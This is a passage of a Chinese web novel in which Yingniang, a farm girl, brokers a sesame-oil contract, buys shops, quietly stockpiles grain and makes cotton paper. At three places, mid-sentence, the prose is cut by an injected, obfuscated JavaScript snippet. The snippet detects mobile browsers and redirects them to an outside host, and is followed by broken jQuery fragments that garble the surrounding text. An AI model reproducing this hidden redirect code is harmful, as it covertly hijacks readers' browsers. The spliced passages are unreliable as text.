“诚王继位，我们的日子怕是不比以前好过。德子，你就舍这一年的利，叫村头种上一百五十亩，来年收成三千六百斤，不紧够你赚更多了吗？” 一百五十亩地需种一百二十斤。 瑛娘今年拢共收成二百四，舍去一半，余下的他也能小赚一笔。 若整村种上一百五十亩，来年收成制得香油，出手便是三百四十多贯纯利，如此算来，倒是比今年抠搜着舍不得种更赚！ 汪点德冷静下来便算明了这笔纯赚的账，眼珠子一骨碌转，便将话头推给了瑛娘，“村正找瑛娘说说？这胡麻是她从城头寻摸来的新鲜儿，她若点头，今年这营生我便先舍出一半来惠济村人。” 村正倒没觉得这事儿会被瑛娘阻挠，应言去了老汪家，得了瑛娘允诺，便直接从村中公账支了三贯钱与她。 瑛娘讶于村正决策之快，倒也没问村人是否知晓此事，接了钱收好，只道：“我那几亩地都是阿爷与爹爹叔叔侍弄的，胡麻种植事宜村正只管去问我阿爷。” “成。” 村正自然也不寄希望于瑛娘，嗅着胡麻纯粹的油香，脸上终是挂上了些许笑意，熟门熟路找上汪木匠，闭起门来又是一通商量。 村头的事儿瑛娘没兴趣知道，扭头又去处理今年新收的蓼蓝枝叶。 栀黄、茜红、茜粉都已备齐之后四年的用量，花青便也按一千五百扣的量来制取。 除了蓼蓝，村人送来的桂花、干栀也多，瑛娘两头忙碌，只得叫玥娘跑腿告与各家来年不必再存栀子果儿，又叫了云氏与何氏帮手蒸花露，这才赶在十月下旬处置完所有用料。 昨年瓷器特意定制了五年用量，今年闲来奋起，眼下倒只剩四百个“槐”字细颈瓷瓶空置。 可惜硝石制冰未及施行，来年所需的口脂也没能煎制。 瑛娘深觉一日十二个时辰也不够用，忙过晌，进城交付确是再不能拖沓，踩着十月尾根儿，打了一罐今年新出的柿子醋作礼，这才拉上汪点德与他制得的四十八罐胡麻油一路进了城去。 46. 苦禅 今日进城需得与章文德推荐胡麻油，瑛娘便叫汪点德先下了货筐在三房的面铺子稍候，独自个儿驾车去往坊市街头，将这一季的桂花香露送与戴娘子，又绕行至西市瓷器铺子。 昨年定制的大批瓷器已然只剩五百件广口瓷瓶、一千二百件留了“艾”字的胭脂扣，制好的颜料与香露紧够交付四年，瑛娘打算把手头余下的瓷器小物也制得口脂与艾色存仓，暂时不动以备不时之需，便与掌柜商定每年烧制一批次年用量，冬月里送至大王村，立契三年，货款年结。 长久的买卖掌柜自是乐意至极，没问昨年好歹，只拿出算盘一通打，又分神与瑛娘确定，道：“胭脂扣每字各三百，细颈瓷瓶每字各一百，广口瓷瓶五百，合计二千三百件，共计四十一两并七百文钱，抹零取整，年款四十一两，是否？” “嗯。” 三年契自然需要户所加印，掌柜快速抄写了三份，与瑛娘同去户所登记，约定冬月中旬送货，两人才分道而行。 要仓存口脂，明年要交付与方氏的那五百瓶便得另算，打药铺买来十五份口脂药包，又转至粮铺购得三千斤番薯，寻了隐蔽处藏入仓内，今日之事才算办好了大半。 而汪点德在面铺子里也是等得焦心。 好不容易等到瑛娘归来，两叔侄重新搬货上车，才慢悠悠行至杂货铺子。 七月底瑛娘并未入城，乍一见面，章文德便表现出了极大的热情，瑛娘随口一问，却听章文德提及那位几面之缘的东家公子。 “公子正月里入了府学，恰逢盛京大儒回乡探亲，受邀于府学讲义，公子与大儒几经接触，又受过考校，竟是因此得了大儒青睐！八月里公子得了府学甲等头名，大儒便是点名要收公子作关门弟子，东家备礼，其中便有你昨年叫我拿去送人的药墨。” 说罢，章文德难得卖了个俏皮，“瑛娘猜猜，大儒如何评价？” 自个儿做的东西，瑛娘如何能不清楚质量？ 闻言却作微赧，摊手叫章文德说白。 章文德大笑两声，抚须学道：“墨润中浓，色泽醇厚，奇香雅淡，当得宝墨之称。” 说罢，又取来一副裱装的字，上书“苦禅墨”，比之瑛娘此前在墨表留下的“八宝五胆”更多三分风骨。 瑛娘这才笑了。 盛京大儒必是品德高尚、风闻极佳的渊博智者，门下桃李众多。 先头她还愁如何才能打响药墨的名头，如今得他夸赞，莫不比后世声名远扬者替之“背书”效应更佳？ 章文德提及此事，必定也是有所想法，然，八宝药墨不好量产，瑛娘也没有普及此墨的打算，因而只当听过便罢，并未顺势与章文德谈及药墨售卖事宜。 见状，章文德便知打算落空，不过买卖之事不好强求，他也未觉不满，略过此题便问及瑛娘今日目的。 桂花香露与花青自是无需交涉，章文德扫了一眼数目便拿了备好的银钱结与瑛娘，瑛娘将钱收好，这才叫汪点德搬了装油的缸来。 缸口以油纸扎紧，解开一隙便有浓香溢出，章文德鼻翼微动，不消瑛娘多说便知此物为何，“这油闻着倒是比山茶油更香浓。” 茶油贵价，普通人家只招待贵客时才舍得点油煎炒，而城中富户、酒楼常有固定的油源，故而杂货铺子里的山茶油卖得并不好。 章文德也曾寻过新油源，可惜寻遍方圆五百里茶油的成色也大差不离，如此便是换了油源也拉不到新的买家，换油源的想法便至此搁浅。 如今瑛娘拿来的新油闻着便觉上乘，若是来年也能保质保量，未尝不能再试试能否揽下这丰县、乃至府城的油业生意。 不过，正经买卖还得谨慎为上，章文德没着急说定，支使伙计取来小勺浅尝滋味，品出油香满嘴回味，登时眼神如炬。 “瑛娘这油若能量产，来日必定能占丰县一席高位！” 瑛娘笑意盈盈，倒是先说了胡麻油的弊处，“此油不宜猛火大炒，若油温过高，反而会失了滋味。” 章文德喜意稍减，细思之后却是反应了过来，“那这油能生吃？亦或添香增味？” “是也。拌菜、蒸菜、面食都能用此油增香，炒菜起锅之际也能滴油添味，最妙的是蘸食！此油可生食，吃锅子时便以此油作底调配蘸料，做得点心也能在外层酥皮浅刷一层，个中滋味，章叔不妨先打一壶回家，叫婶婶做来试试。” 章文德也算一介老饕，生食滋味且如此妙，又何须再耗时一试？ 此前瑛娘拿来的东西有哪一样不与市情相合？ 如今便是不信天家圣旨，章文德也不会怀疑从瑛娘手头流出的东西能叫他作亏！ 章文德连声大笑，竟是连价都不问便要与瑛娘签长契。 “章叔别急，这油是我二叔的，你且与他议价签契。” 两人交谈，汪点德站在一旁听了个全，心头惊于瑛娘与章文德的交情，忽而听得瑛娘点他，仓皇抬头看向章文德，却见他亦是微微讶然。 汪点德手头紧，林氏处事也不见得多大方，因而不似汪木匠、徐氏及大房、三房那般穿得好布新衣，加之他与瑛娘容貌并无相似之处，章文德理所当然将他看作瑛娘叫来的帮工。 眼下身份说破，章文德也是微感尴尬，大大方方与汪点德见过礼，才主动问及他的姓名。 汪点德少与章文德这般的人相交，不伦不类的回过礼，也不会巧言三两句，只干巴巴的报上名字便算完。 好在章文德也不是多循礼制之人，主动与他客气两句便算相识了。 “汪二兄弟不妨说说此油定价几何？年产多少？可否尽数交由我这铺子代销？” 正经说事，汪点德可比汪点柱和汪点书强得多。 “此油乃胡麻油，一斤定价三百五十文。不过今年种得少，拢共只得了四十八斤油，来年倒是能收一百五十亩，约摸能取三千六百斤油。尽数卖给章掌柜也成，只是不知掌柜这铺子吃不吃得下恁多？” 汪点德留了磋谈的余地，要价比之瑛娘抬了五十文，章文德一听确是觉得价高，蹙眉扫及瑛娘，见她面不改色，端是全然不参与的态度，无法，只得估摸着与汪点德再议。 “这价太高。汪二兄弟该知茶油一斤也不过四百文钱，你这胡麻油虽比茶油香浓，却不比茶油能经大火煎炸烹炒，如此便差其一招。” “可这油吃法也颇多！章掌柜完全可以卖与点心铺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047907|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 章文德却是摇头，道：“点心铺子需用少，若汪二兄弟愿叫我买断这门买卖，我会托商队带去其他府城、县、镇两千斤，只留一千六百斤在骏阳府内售卖。其中投入不少，因而三千六百斤胡麻油我最多能给到一千两银。若你觉得价还合适，今日你我二人便签署一份十年契。” 听得“一千两”如此大的数目，汪点德才惊觉“三百五十文”的要价有多高。 一千两，如此均价便逾三百，比瑛娘定价还多出了二十贯。 二十贯，若是只管家中四十亩地，得到哪一年才能攒下这许多钱？ 汪点德深吸了一口气，扯起干巴巴的面皮，笑得还算得体，“我们瑛娘与章掌柜相识已久，自然信得过章掌柜的为人。好罢！这胡麻油便托与章掌柜行代销事宜。” “今年的四十八斤还请汪二兄弟单卖与我，不计入十年契。” “自然！自然！这么些便算章掌柜三百文一斤吧！” “那便先谢过了！” 十三两银并一百个铜钱入手，汪点德当即便乐得呲出了牙花。 可惜这钱也不是尽数归他，还得交与公中一半，汪点德摸着怀中十两一锭的元宝有些可惜，暗暗打算来年分得的五百两也要似瑛娘那般，叫章文德给付百两一锭的大元宝才好。 “契书拟定，汪二兄弟快看看，若内容无误，咱们便签好了拿去户所加印。” “……瑛娘帮我看。” 汪点德识字不多，瑛娘看过契书，他才拿了笔一笔一划签上自己的姓名。 此事谈妥，章文德与汪点德便一路驾车去往户所。 瑛娘不欲同行，落后几步，又叫伙计拿了十坛山茶油才离了杂货铺子，寻得隐蔽处收好银钱与油坛，这才一路闲散行至中人屋舍。 四月里买下的商铺眼下还有租户营生，租期截止今年腊月，此前半年的租金皆由牛二代收，瑛娘一来，牛二便取了十八两碎银与她，又问年后如何打算，是否叫那租户续租。 瑛娘本想同意，思及今年未及打算的酥山，转口便叫牛二不急。 夏日冰饮却非寻常百姓所能消费，若真做起来这门买卖，怕是得盯紧钱袋丰裕的闲客来销，如此便不适合在临近农集之处购置商铺。 坊市街头、西市热闹处倒是适合，可惜街头小贩能做的有限，西市商铺却有价无市，倒不如先借东市热闹将名头传开，来日再请些闲汉来跑腿亦无不可。 “还请牛二叔帮我注意着西市商铺。地段无需太好，门庭也只需一丈见方，但需得配齐后院屋舍及水井，以便生活之需。” “如此要求怕是不好寻得，且西市带院子的商铺少说得要三千两银，倒不如租用得划算。” “租用要价几何？” “西市商铺皆以年计租，一年租子需得二百两银。” 瑛娘默算了一笔账，算得盈亏，当即摇了摇头，“还是买下比较合算。西市的商铺我并不急用，何时有何时买，牛二叔且帮我费着心，东市商铺余下两月的租子便作寻摸铺子的辛苦钱。” “这怎的好意思？” “牛二叔且安心收着。” “瑛娘属实外道！” 47. 玉簪 因与曾猎户约定十月，离了中人屋舍，瑛娘便顺道拐进了农集。 说来也巧，曾猎户修养半年，堪堪恢复元气便进山砍了猕猴桃藤，前两日怕瑛娘不在，特意空手去面铺子打听过大概，估摸着今日该有可能遇见，这才拉了一车二百斤桃藤来碰碰运气。 “劳累曾阿叔了。” “客气个甚？”曾猎户挠头笑，忽而记起妻弟编制的竹筛，才又取了来与瑛娘看，道：“快看看这方筛可还合意？这方筛已是尽可能多目，竹节也打磨圆滑，若还不成，我弟弟亦是无法了。” 这方筛工艺实属上乘，若有图纸比对，佐以蚕丝，该能制成瑛娘需用的抄纸竹帘。 可惜纸业不比寻常，还是先不碰的好。 瑛娘收下方筛，只道满意，便拿了钱袋来与曾猎户结银，“先头说过桃藤一文两斤，不知这方筛定价几何？” “小娘子合计与我二百文就成，总归都是无本的东西，不值当细算。” 曾猎户挣得来钱，自然不欲计较许多，况且瑛娘还定了腊月的鹿角，此物才是买卖大头，眼下舍了十几二十文的工钱又何妨？ 知其心意不作假，瑛娘便未与他推诿，再次谢过，便叫他帮忙将桃藤送至面铺子。 曾猎户自是乐意帮忙，叫瑛娘同车而行，一道送至面铺子，又将桃藤卸下，转至瑛娘的骡车之上才罢。 “腊月里我若寻得鹿角，来年四月便送来与你。” “成，劳曾阿叔费心。” 有了猕猴桃藤，瑛娘又叫汪点德再等些会儿，驾车行至布行，开口就要四十斤棉花。 棉花一斤一百六十文钱，四十斤足够整家儿冬被所需，掌柜有些惊讶，但未及多问瑛娘便拿了六两碎银来，当即避了话头，乐呵呵支使伙计装货上车。 “诚惠。找零二百文。” 今日事毕。 桃藤过目之众，瑛娘便只藏了棉花入仓，叔侄二人驾车回村，倒是引得村人闲道。 不过瑛娘管不了别家的闲，寻得徐氏，又提及收粮之事。 诚王继位，骏阳府增税却未明令归复。 也不知这位新帝是记不得昨年往事，亦或是故意为之，总归这苦水只得农户自个儿往肚里咽。 好在老汪家日子好过，带动大王村一众也得益颇多，来年再种胡麻，此困也算解了。 可惜其他村头的农户却依旧需得以细点粗才能维持家用。 瑛娘本是无意过度藏粮，不料意外听得村人提及近日有粮商入村收粮，出价极低，一石稻米三百六十文，一石生麦一百八十文，气得村头几位老人当场发怒，合力将其赶出村去。 需知如今粮铺稻米售价八百一石，生麦售价四百六一石，便是番薯也居于一斤一文的高价不下，唯有菽类持价一文。 粮商压价收粮，转手便卖高价，加之当今继位者不懂平衡民心，若其本身无甚治世之才，多以“帝王之尊”压制百官、平民，长此以往，战乱必不远矣。 若是争位之乱还好，战火大概率烧不到丰县来，但内乱通常伴随外敌入侵，届时壮丁服役、农田搁置、征收兵粮，普通农户的日子只会更加难过。 瑛娘不想把性命之忧寄托于他人，可独善其身亦不可取，便叫徐氏跑一趟老徐家，叫舅爷一家子再帮忙收个几百石粮。 “稻米七百石、生麦三百石，还以之前的价格计算，明日我进城租一个铺面，叫舅爷家收了粮便送去铺子里放好。秦老爷府上奶也去一趟，问候一下，顺便买来十石今年的江米，江米先入公中粮仓，等我回来再藏。” 要去秦老爷府上叨扰，却不好叫徐氏空手，索性有现成的新醋，瑛娘便取了陶罐分装了十斤叫徐氏带去作礼。 安排好徐氏，转天瑛娘又跑了一趟丰县。 东市的铺子好租，但合意的却得多等些时候，好在瑛娘也不是真要做什么买卖，便从牛二手头租来了一间临近农集的小铺子。 铺子虽小，后头的院子却有一排四间房，只因没有打井，一月租子便只叫价两贯钱。 牛二惊奇一个月能做成个什么买卖，偏是见瑛娘不欲多说，便也没追问，只代铺主签了契便拿了钥匙与瑛娘，“每日会有人叫门卖水卖柴，你若需用便警醒着些，以免错过了还得再找人去买。” 冬月里天寒，没柴没水可不好过。 “多谢牛二叔提醒。” 谢过牛二，瑛娘拿了钥匙一路赶回了大王村。 期间却是不好叫别人知晓收粮事宜，不然不好解释那般多的粮食都藏到了何处。 可真叫徐氏丢下茶枯皂的活计到城头枯守一月却是不太现实，瑛娘便拉了云氏收拾被褥、行囊，又搬了煎口脂需用的用具，这才带着玥娘一同进了城去。 母女三人待在铺子里却不开门营生，倒也能借口事宜还未齐备，只瑛娘又不打算叫云氏开灶，每日没柴买水只作口脂需用，且这城头住家每日脏污也不便就地处理，因而吃喝拉撒一应费用，一月算来便得一千五百文。 云氏心疼这钱，可兹事体大，她也不是多计较的性子，且作不知不问，每日只帮着瑛娘制口脂，期间老徐家有人送粮上门便歇了活儿招呼，日子倒也过得松快。 待得五百瓶口脂做成，几百石粮也通通进了瑛娘的仓。 趁着租期还有几日，瑛娘和云氏又分头去粮铺买了两批次番薯，合计五千斤。 一千石稻米、五百石生麦、一万斤番薯，还有二十石精良的江米……大王村合村上下共计八百一十六人，便是真遇天灾人祸，这些粮也足够保障全村近两年不受饥饿之困。 “今年便先这般了。” 云氏隐隐知晓瑛娘所忧，下意识不敢细想，说来多有逃避的意味，倒是挑起一抹笑，与瑛娘玩笑道：“听着你明年还打算继续囤粮？难不成将来要做个粮商？” “能做粮商也不错。” 且不知明年之情，若要求稳，再囤多些也无妨。 不过，事不可一蹴而就，来年之事来年再说。 入了腊月，春节佳日便不远了。 这一年来，老汪家一众都收获颇丰。 瑛娘赚得自然最多，因而此前允诺林氏与何氏的工钱她便拿得丰厚，正好徐氏的茶枯皂分了她三十两银，索性便分了三份，叫云氏也拿了一份帮手的辛苦钱。 大家都有钱拿，自然不好少了玥娘的零花。 瑛娘早前换了一些一两重的小元宝，今年正巧能给玥娘一锭作压岁钱，如此才叫这个小妮子没得酸话说。 临了年根儿前，做了一年学徒的汪文、汪武竟也赶着回来过了年。 一年里风吹日晒，这两兄弟身量长了不少，人也黑壮，呲着牙笑当真只看得见一口噌亮。 “前头跟着师傅走了两趟商，一回是去的江南府，一回是去的顺州，来年还得去一趟西原。” “那江南府当真是繁华得很！街头随处可见的甜饮子都是江米做的小食！还有冰碗、酥山……听说咱们骏阳府只有府城里头才吃得上！” “鲜果也多！可惜那果子不易存，商队带回来的都供给了府城的富户，我俩工钱不多，不然高低买上一两斤回来叫大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052168|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙儿尝尝滋味！” 见识多了，汪文、汪武也没忘了家中老小。 汪木匠欣慰至极，早前因分户更籍积下来的丁点儿怨怼也在此刻消散，乐呵呵听过两兄弟的见识，这才叮嘱汪点水与何氏帮着两兄弟给师傅备节礼。 “钱从公中出，千万别叫人觉得怠慢。” 说完，又要徐氏再支一份给林氏。 徐氏如今把着公中五六百两，节礼支出便也给得厚，叫林氏取了五两、何氏取了六两，又敲打林氏，道：“小老九读书才是紧要！先生的节礼得厚三分，老二家的，你可千万别在这上头磕碜！” 林氏哪儿敢克扣先生的节礼，当即点头应下，也默默盘算五两都备哪些体面又实用的东西。 吃过年夜饭，各房回各屋。 汪文落了两步，叫住瑛娘，却是红着脸塞给了瑛娘一个细长的匣子，“这是我跟你六哥的心意，不值当什么，你可别嫌弃。” 匣子里是一支盈绿的玉簪，只幼儿拇指粗细，质地不算澄澈，但绿得还算好看。 若在骏阳府界内，这一支簪子少说也得十两银，汪文、汪武跟了两趟商，拢共只得了二十两辛苦钱，所以这玉簪该是在外头买回来的寻常物件。 江南府不产玉矿，那这玉多半出自不好明辨的“顺州”，多少算得两兄弟一个心意。 被记挂的感觉属实不错，瑛娘没问价值，取了玉簪在发髻处比划了一下，笑意盈盈，问到：“还算衬人吧？” “好看！” “多谢两位哥哥记挂我，出门在外，还需多注意身体，何处不舒服千万要及时与商队管事说。” “嗯！嗯！” 瑛娘平时能说会道，时感真情却有些词穷。 汪文、汪武亦是如此，汪武甚至不好意思出面，把送礼的事儿全推给汪文来做。 兄妹俩静默半晌，随即相视一笑。 “天寒地冻的，瑛娘还是快些回去歇着吧。” “好。” 回了屋，瑛娘也没急着睡。 今年忙碌，仓里乱糟糟存了许多东西，索性眼下也不算困，瑛娘便躺在床上开了仓整理盘点。 除了粮食，今年还存入了四种植色颜料各一千二百扣、两种花露各四百瓶、口脂一千瓶，其中五百口脂是方氏明年一年的销量，其他的瑛娘未来几年都不打算动用。 又有干栀子三千二百斤，每年只需取用二百四十斤，二百斤猕猴桃藤、四十斤棉，来年得着手制成棉柔纸。 再有就是前头收入的药墨一百零五方、鹿胶六斤、鱼胶七十斤、花生八十斤、胡麻十余斤，仓中本就存有的五方油烟墨、五方松烟墨、十刀生宣纸，以及徐氏送的一对银镯、何氏送的一支素簪、汪文汪武送的玉簪，五亩田地、一间商铺的地契，明年需用的陶瓷小物二千三百件、小陶罐四十八件。 除此之外，还有三十三锭百两的元宝、六十六两碎银、一百八十文零散铜钱及云氏给的一锭十两压岁元宝。 盘点完仓储，瑛娘才闭目盘算来年要做的事。 心想：来年得去一趟府城，若能批量买来硝石与牛乳、鲜果，做个冰饮的买卖也不错。如若不能，也只能先饱自己的口福，再等两年沤出土硝，再考虑买卖事宜。 不过这些都是长远的打算，明日歇过，她还得先紧着给汪文、汪武回礼。 商队里都是糙汉，生活没得恁般精细，趁着两兄弟在家正好能熬两罐麦芽糖、蒸些米糕来叫他们带去商队。 这两样都不难做，待得送走两兄弟，棉柔纸便好提上日程。 48. 针对 正月初一忌讳多，正月初二回娘屋。 瑛娘等到初三才才着手熬糖、蒸糕。 麦芽糖需待几日，趁着这时间空闲，瑛娘便先泡了江米来做甄糕。 泡好的江米加糖蒸熟入模，层层叠加去核的大枣、芝麻砂及点心铺子买来的干果子，表层江米再刷上一层胡麻油，铺上油纸隔绝水汽，上火蒸个两刻，再以重物压置一个时辰，如此便能切成块状装存。 冬日里甄糕能存十天半月，正好能叫汪文、汪武拿去商队分吃个新鲜，但江米吃多了败胃，多做的甄糕便自家吃一份，余下的分送与秦老爷、章文德、村正、老徐家、云氏娘家以及琼娘、瑾娘。 除了糕，麦芽糖也没少了他们的，拢共做得十几罐，叫三房也拿了一罐去城头，家中只留了一罐叫玥娘和汪连分吃。 拿了糖和米糕，三房与汪文汪武两兄弟也赶紧回了城头。 商队只歇一旬，三房则是舍不得面铺子一日一贯余的进账，然而进城不及一日，将过未时，三房夫妻便面色灰败地拖着家当回了村头。 “怎么回事？！” 陈氏憋不住委屈，甩手往地上一坐，放开嗓嚎啕，“那铺主不做人啊！见我们家面铺子盘活了就不肯再把铺子租给我们家！说什么家里日子过不下去了，要收了铺子另做打算！当我眼瞎没看到灶头藏起来的粉团儿么？！他们这是要绝了我们家这门营生啊！” 汪木匠一听便知三房这两口子多半是遭铺主赖皮了。 陈氏只顾着哭，徐氏只得沉声问汪点书：“当时签的几年契？” 汪点书这会儿也是面色如土，颈侧还有几道几不可见的挠痕，听得亲娘问及便耷拉了脑袋，声如蝇虫，“一年……” 面铺子一年盈收有四百两之多，这金额于城中多数铺主而言却也不算得什么，自然不屑于为此挤兑别家的营生，但很显然，三房看铺子时就没看准铺主的人品，也没想过吃食营生只签一年契存在多大的不稳定性，这才叫那铺主抓着短处赶了出来。 偏偏昨年是年根前儿立契加印，契书上写明了时间，过了户所官吏的眼。 陈氏本想过完年去城头撒扫过再给铺主新一年的租子，如此境况之下，铺主借口三房未及告知续租，收回铺子便是合法合理，而这憋屈只得叫三房自个儿咽下。 陈氏也不是多讲礼法的人，一发现那铺主的打算便忍不住跟其家眷干了一仗，打出火气来，铺子里便乱做了一团。 汪点书与汪辰都是做惯了农活的糙汉子，完全能够以一挡三，这一仗三房很快便占了上风。 来看热闹的食客发现场面失控便告了巡街走卒，问及因由，三房倒是没被责罚，但铺主不服不让，这铺子他们也不能强租，被走卒训斥一番便灰头土脸的回了家。 做惯了一日盈收一千多钱的买卖，再做回摊贩又该如何平衡心情？ 听及因由，瑛娘也暗叹了一声“巧”。 她手头的商铺就在面铺子旁边，这会儿牛二该是盯着前头的租户搬走了东西，若要争口气，完全可以把这铺子拿给三方继续做面铺子，但，既有同行针对，三房此后的生意必定会受到一定的影响，若经营得当，倒是能维持挣钱的体面，若稳不住心态，怕是只会再次被那铺主挤走。 不过三房的优势也明显，毕竟薯粉目前还是独一家的供应，兔子也是由云客与瑾娘稳定供给，寻常店家一时半会儿也追不上三房的热闹。 只这铺子怕是不好直接由她出面赁给三房，得找牛二做中人代为签契、收租才好。 正思及牛二，瑛娘便听得陈氏哭求：“瑛娘！瑛娘呀！你的法子多，快帮三叔三婶想个法子吧！咱家可缺不得这门营生！” 公中存银确是多来于三房的盈收，瑛娘也怕缺了这门买卖，又叫陈氏这个没甚脑子的婶娘再听得谗言，闹出些莫名堂的事儿来，哪怕徐氏如今处事还算公道和善。 “行吧，明日一早我便走一趟，三叔三婶也莫心急。” “好！好！” 要牛二出面也简单，毕竟牛二本身也不是多嘴的性子，听得瑛娘不愿透露铺主身份，便全权接下了签契、收租的活儿。 “只代你行事需得抽租半成，汪小娘子该是没意见吧？” 一年租子三十六两，抽半成也就一两八钱银，瑛娘自然不多介意，当即点头允了。 “那成！且叫租户明儿个来看铺子，我自会替汪小娘子瞒过他！” “劳牛二叔费心。” 说定此事，瑛娘便驾着车回程，途径商铺，见那铺主确是开了门对外买卖。 幸而食客也不都是傻的，见店家换了人，卖的也只是普通捞面，不待铺主家眷招揽便离了铺子传出风声去。 三房营生的家伙事儿都是齐全的，相邻的铺子格局类同，只简单撒扫过便能使用，如此耽搁两三日，倒是不会影响过甚。 “三叔三婶且去中人屋舍找一歪名牛二的中人，我已与他谈好，新铺子与之前的相邻，内里格局大差不离，” 听得瑛娘找好了铺子，汪点书与陈氏俱是千恩万谢，只待与老两口说过，当日便要拖着东西奔赴入城。 趁此机会，瑛娘索性把今年的五百瓶口脂也交给了方氏。 方氏虽不追求小利，也不常计较得失，但那毕竟是几百两的盈收，她每日也得在坊市行走，自然觉得还是在城头住着便利。 这回得了新一年的口脂，方氏也生出了些希冀——她虽是屠户独女，颇得父母疼爱，可也深知亲爹如此，更多是因为他早年损伤了身体，能得她一个女儿已是不易。偶然听到爹娘遗憾，叹息她只是一个闺女，早晚得作他人妇，又遗憾没能生得儿子，挣再多的钱最后也是白白便宜将来为他们扶灵摔盆的侄子。 自那之后，方氏便打定了注意，不管将来嫁与谁，只要人不混账、不对她动拳脚，她必定省吃俭用攒下家产，生得闺女便叫闺女穿金戴银一生富裕，生得儿郎便舍金银供他读书知礼。 能嫁汪辰是她之幸，能与瑛娘交好则是她一生的福气好运。 “多亏了你，瑛娘。” 瑛娘自是不知方氏想法，只当她是答谢商铺之事，只笑道：“嫂嫂何须客气？都是一家人。” 方氏也笑，未及与瑛娘多说便听得陈氏催她，只好与瑛娘道别，拎着随身行囊离了家。 三房事了，瑛娘便兀自忙碌了起来。 没了铺子，冰饮之事便不急打算，先紧着棉柔纸来。 制棉柔纸，猕猴桃藤需得提前凿碎浸泡出胶，趁着等胶的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056031|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，摘去棉花花籽，再以滚水煮棉，烧草木灰取碱水入锅脱脂，合锅炖煮一个时辰，再捞出棉花滤水淘洗。 洗净的棉花需要剁碎断绒，此项费时费力，仅凭瑛娘自个儿断然处理不完四十斤棉，因而还需云氏及林氏、何氏帮手。 三人合力断绒，瑛娘便取了桃胶滤渣，又叫汪木匠比着方筛的尺寸打了辅具，垒了一个不会漏水的土池，这才灌了池水，入棉加胶打浆，待得三者完全相融，再以方筛辅具抄纸。 方筛细密平整，奈何效果比不得蚕丝竹帘。 层层棉绒堆叠，以平整案板、重物压置，待得水分失尽，再裁切揭分晾晒，如此，棉柔纸便算大成。 纯棉的白纸吸附性极强，折合几层，塞入棉绢所制月事带，既能保透气，又能带走绝大部分脏污保持清爽，可谓好用之极。 只云氏听得这纸做来是替代草木灰填充月事带的，气得险些当场与瑛娘翻脸。 时人看来，纸与读书人等量齐观，女子少有能识字读书的，因而没人会将纸与女子联系起来。 更何况月事脏污，纸却金贵，瑛娘之作为若是传出去必定受人指摘，真叫思想迂腐的读书人知晓，怕是得把骂词写进诗文传世！ “娘，月事用纸的富户娘子可不少。” 通常粗纸更适用。 一刀粗纸通常是一百张全开，书肆售价三百文，若是换得勤，一日便需用四张，一轮月事便得废去十几二十张，约摸合计六十至八十文不等。 而她这回制得的棉柔纸还算厚实，便都裁成了八开大小，四刀拢共三千二百张，一轮月事便是用去三十二张，所费也不过六十五文。 瑛娘自觉这般算不得多浪费，毕竟一月一轮，制成一批便足够她与云氏共用四年之久，所费不多，又不招人眼，何乐而不为？ 瑛娘摆明了就要如此，云氏说不通犟不过，只坚决不肯自己用。 “要用便藏好，真叫人发觉了，咱们一家子都要遭人攻讦。” 月事私密，寻常也不会有人盯着这等腌臜。 不过云氏担忧，瑛娘也只得再三保证此事连玥娘都能瞒过，这才叫云氏稍稍心安。 “你惯会做些跳脱纲常礼教的事，也不知将来嫁了人该如何是好。” “娘，我才十三。” 云氏瞪她一眼，“再有三月余便十四了，你以为家里还能留你多久？” 女子十五及笄簪发即可与人相看，待得相好人家，待嫁月余便能过门。 前头的琼娘和瑾娘云氏都特意压了一年才与相看，相成之后又留了一年才叫她们出得门去，瑛娘未来亦是如此打算。 但眼下瑛娘算得老汪家把着话事权的核心，若真相看，别说云氏，就是徐氏也不会轻易点头叫她嫁人。 瑛娘倒是没考虑长远，毕竟深受后世影响，早不以及笄之年作女子成人的标准，闻言只道：“娘快别操心我了，等到十八，我自然会找个如意的人嫁了。” “……” 如意的人哪能容易寻到？ 云氏叹了一口气，心说瑛娘还没开窍，她这般操心确是为时过早。 “娘帮你做五条月事带，你且拿去备着，免得来日初潮赶不及应对。” “谢谢娘。” 49. 书坊 二月里青黄不接，山间地头难寻长成的艾草和槐花。 瑛娘不欲再等四月里忙成陀螺，便着手开始制作今年需用的颜料——干栀不缺，茜草根昨年年根儿前也有人晒好了送来，将好够今年几百扣的用量。 如此忙过三月中，瑛娘还有空闲清理库存，取了笔墨纸砚来默写《六祖坛经》。 《六祖坛经》通篇约一万二千字上下，含括许多故事与传说，其中又有教义、法语及禅修方法等篇章，根据“自性本清净”宣扬“明心见性”、“顿悟成佛”。 